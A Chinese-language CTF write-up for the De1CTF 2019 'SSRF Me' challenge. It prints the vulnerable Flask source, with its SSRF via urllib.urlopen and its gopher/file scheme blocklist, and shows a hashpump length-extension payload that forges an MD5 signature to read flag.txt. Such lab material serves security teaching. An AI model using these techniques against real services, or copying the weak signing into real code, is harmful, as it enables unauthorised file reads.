https://buuoj.cn/challenges#[De1CTF%202019]SSRF%20Me
源码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
三个路由:
-
/geneSign
传递参数param
和设置好的action=scan
传入getSign
生成签名 -
/De1ta
从cookie中获取action
和sign
,再获取参数param
以及ip
然后传入Task
类中,以json形式返回Task->Exec()
-
/
首页,读取code.txt
中的源码返回
接着看,waf()
过滤了param
中gopher
和file
关键字
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
secert_key
未知,param
和action
可控
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
scan
方法用的是urllib.urlopen()
,这里有两种方法可以读取本地文件
- 直接写文件名
flag.txt
-
local_file
,这个被过滤了。具体参考:https://bugs.python.org/issue35907
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
Exec()
主要是action中如果有read
和scan
关键字及操作,如果action
中有scan
,利用scan()
方法读取内容并放入result.txt
,如果有read
即读取result.txt
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
根据hint,确定我们要读取的是flag.txt
利用scan
将flag.txt
的内容写入到result.txt
中,然后read
读取result.txt
接下来满足验证签名即可
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
拼接参数生成签名时param
和action
可控,并且action
是拼接在最后。这样就可以利用哈希长度扩展攻击,在action
后加上read
关键字,并且预测出签名。
首先访问下/geneSign
路由,传参param=flag.txt
,拿到这个签名
hashlib.md5(secert_key + 'flag.txt' + 'scan').hexdigest()
接下来利用hashpump
来对scan
添加,并预测签名
len(secert_key) = 16
16 + len('scan') + len('read') = 24 = Key Length
root@kali /home/mochu7/Desktop % hashpump
Input Signature: e929714dc0b321aadaf831df96d3fa02
Input Data: scan
Input Key Length: 24
Input Data to Add: read
3e8d4e346e5ae50a614adb37915d4d8a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
root@kali /home/mochu7/Desktop %
在/De1ta
路由传入param
,并在cookie设置action
和sign
即可得到flag